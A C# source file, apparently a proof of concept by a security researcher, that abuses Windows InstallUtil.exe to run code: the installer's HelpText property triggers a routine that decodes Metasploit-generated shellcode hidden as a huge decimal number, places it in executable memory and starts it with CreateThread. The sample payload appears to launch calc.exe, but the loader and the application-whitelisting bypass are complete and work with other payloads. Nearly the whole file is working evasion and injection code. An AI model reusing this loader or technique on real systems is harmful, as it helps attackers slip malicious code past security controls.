using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Numerics;


/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe  /unsafe /platform:x86 /out:helpme.exe helpme.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /? helpme.exe


*/


public class Program
{
	public static void Main()
	{
		Console.WriteLine(" ");
		
	}
	
}

[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{

	// Override the property 'HelpText'.
	public override string HelpText
	{
	   get
	   {
		  
		  helperthing.Exec();
		  
		  return "Installer Description : This is a sample Installer\n"
			   + "HelpText is used to provide useful information about the "
			   + "installer.";
	   }
	}

	
}

public class helperthing
{
		
		public static UInt32 Hunt()
		{
			long MaxAddress = 0x7fffffff;
			long address = 0;
			do
			{
				 MEMORY_BASIC_INFORMATION m;
				 int result = VirtualQueryEx(System.Diagnostics.Process.GetCurrentProcess().Handle, (IntPtr)address, out m, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)));
				 if(m.AllocationProtect == (uint)AllocationProtect.PAGE_EXECUTE_READWRITE)
				 {
					 Console.Write("{0}\n",m.BaseAddress.ToString("X4"));
					 return (UInt32)m.BaseAddress;
				 }
				 if (address == (long)m.BaseAddress + (long)m.RegionSize)
				 break;
				 address = (long)m.BaseAddress + (long)m.RegionSize;
			} while (address <= MaxAddress);
			
			return 0;
		}
		
		
		
		public static void Exec()
		{
			// native function's compiled code
			// generated with metasploit
			
			 string shellint = "955371524831662197453050296989540772601133427792513134757189266616055384522946738163324180769110765597779390197252391557090164718259729729840107949968192814091860765309066732520163572442380967318426462097604343630067577465125551536907969303300239618332410308575489984021791916132446542443585325310348545577443886103501655776708518417061548840435189309944433001317071515187987268591722014297211730798794902082173701662169939938524654453969311529170643230570768636";
			 
			/*
			convert to huge number...
			byte[] helper = {
			0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64,
			0x8B, 0x50, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
			0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C,
			0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
			0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1,
			0x51, 0x8B, 0x59, 0x20, 0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
			0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC, 0xC1, 0xCF, 0x0D, 0x01,
			0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
			0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B,
			0x58, 0x1C, 0x01, 0xD3, 0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
			0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF, 0xE0, 0x5F, 0x5F, 0x5A,
			0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
			0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5,
			0xA2, 0x56, 0x68, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
			0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
			0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
			0x00
			};
					
			
			BigInteger b = new BigInteger(helper);
			
			Console.WriteLine("The value of number is {0} \n (or 0x{0:x}).", b);
			Console.ReadLine();
			*/
			BigInteger b = BigInteger.Parse(shellint);
			byte[] helper = b.ToByteArray();
			
			UInt32 funcAddr = VirtualAlloc(0, (UInt32)helper.Length,
								MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			Marshal.Copy(helper , 0, (IntPtr)(funcAddr), helper .Length);
			IntPtr hThread = IntPtr.Zero;
			UInt32 threadId = 0;
			// prepare data
 
 
			IntPtr pinfo = IntPtr.Zero;
 
			// execute native code
 
			hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
			Console.ReadLine();
			WaitForSingleObject(hThread, 0xFFFFFFFF);
			
			return;
			
	  }
	  
	   
		private static UInt32 MEM_COMMIT = 0x1000;
 
		private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

		[DllImport("kernel32")]
	private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
		 UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

	

	[DllImport("kernel32")]
	private static extern IntPtr CreateThread(

	  UInt32 lpThreadAttributes,
	  UInt32 dwStackSize,
	  UInt32 lpStartAddress,
	  IntPtr param,
	  UInt32 dwCreationFlags,
	  ref UInt32 lpThreadId

	  );
	[DllImport("kernel32")]
	private static extern bool CloseHandle(IntPtr handle);

	[DllImport("kernel32")]
	private static extern UInt32 WaitForSingleObject(

	  IntPtr hHandle,
	  UInt32 dwMilliseconds
	  );
	
	[DllImport("kernel32.dll")]
    static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
	
	//MEMORY_BASIC_INFORMATION

    [StructLayout(LayoutKind.Sequential)]
    public struct MEMORY_BASIC_INFORMATION
    {
    public IntPtr BaseAddress;
    public IntPtr AllocationBase;
    public uint AllocationProtect;
    public IntPtr RegionSize;
    public uint State;
    public uint Protect;
    public uint Type;
    }
	
	public enum AllocationProtect : uint
    {
    PAGE_EXECUTE = 0x00000010,
    PAGE_EXECUTE_READ = 0x00000020,
    PAGE_EXECUTE_READWRITE = 0x00000040,
    PAGE_EXECUTE_WRITECOPY = 0x00000080,
    PAGE_NOACCESS = 0x00000001,
    PAGE_READONLY = 0x00000002,
    PAGE_READWRITE = 0x00000004,
    PAGE_WRITECOPY = 0x00000008,
    PAGE_GUARD = 0x00000100,
    PAGE_NOCACHE = 0x00000200,
    PAGE_WRITECOMBINE = 0x00000400
    }	
 
}